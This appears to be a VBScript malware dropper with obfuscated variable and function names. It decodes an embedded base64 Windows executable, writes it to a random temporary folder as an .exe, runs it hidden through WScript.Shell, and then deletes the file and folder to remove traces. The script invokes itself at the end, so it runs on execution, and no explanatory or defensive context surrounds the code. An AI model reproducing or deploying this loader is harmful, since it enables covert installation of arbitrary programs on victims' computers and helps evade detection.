Function NprqGhTMA(LJUyiHHdNxnng)
pVyCmnVCRgtrLv = "<B64DECODE xmlns:dt="& Chr(34) & "urn:schemas-microsoft-com:datatypes" & Chr(34) & " " & _
"dt:dt=" & Chr(34) & "bin.base64" & Chr(34) & ">" & _
LJUyiHHdNxnng & "</B64DECODE>"
Set DjIXWDIdy = CreateObject("MSXML2.DOMDocument.3.0")
DjIXWDIdy.LoadXML(pVyCmnVCRgtrLv)
NprqGhTMA = DjIXWDIdy.selectsinglenode("B64DECODE").nodeTypedValue
set DjIXWDIdy = nothing
End Function
Function uaolOYuAfNnlm()
TAhvBSqUfYS = "TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4gRE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDANYaxIEAAAAAAAAAAOAADwMLAQI4AAIAAAAOAAAAAAAAABAAAAAQAAAAIAAAAABAAAAQAAAAAgAABAAAAAEAAAAEAAAAAAAAAABAAAAAAgAARjoAAAIAAAAAACAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAAAwAABkAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50ZXh0AAAAKAAAAAAQAAAAAgAAAAIAAAAAAAAAAAAAAAAAACAAMGAuZGF0YQAAAJAKAAAAIAAAAAwAAAAEAAAAAAAAAAAAAAAAAAAgADDgLmlkYXRhAABkAAAAADAAAAACAAAAEAAAAAAAAAAAAAAAAAAAQAAwwAAAAAAAAAAAAAAAAAAAAAC4ACBAAP/gkP8lODBAAJCQAAAAAAAAAAD/////AAAAAP////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Dim guqNVIKWWAdlK
Set guqNVIKWWAdlK = CreateObject("Scripting.FileSystemObject")
Dim XnGIbdrmDAfIZRH
Dim JRZZOTTelwN
Set XnGIbdrmDAfIZRH = guqNVIKWWAdlK.GetSpecialFolder(2)
JRZZOTTelwN = XnGIbdrmDAfIZRH & "\" & guqNVIKWWAdlK.GetTempName()
guqNVIKWWAdlK.CreateFolder(JRZZOTTelwN)
qThQAgOSODjlh = JRZZOTTelwN & "\" & "veZkNElXSz.exe"
Dim gzISNjRSEvRR
Set gzISNjRSEvRR = CreateObject("Wscript.Shell")
TXsnzubziuBqnZA = NprqGhTMA(TAhvBSqUfYS)
Set ULpnhEEU = CreateObject("ADODB.Stream")
ULpnhEEU.Type = 1
ULpnhEEU.Open
ULpnhEEU.Write TXsnzubziuBqnZA
ULpnhEEU.SaveToFile qThQAgOSODjlh, 2
gzISNjRSEvRR.run qThQAgOSODjlh, 0, true
guqNVIKWWAdlK.DeleteFile(qThQAgOSODjlh)
guqNVIKWWAdlK.DeleteFolder(JRZZOTTelwN)
End Function
uaolOYuAfNnlm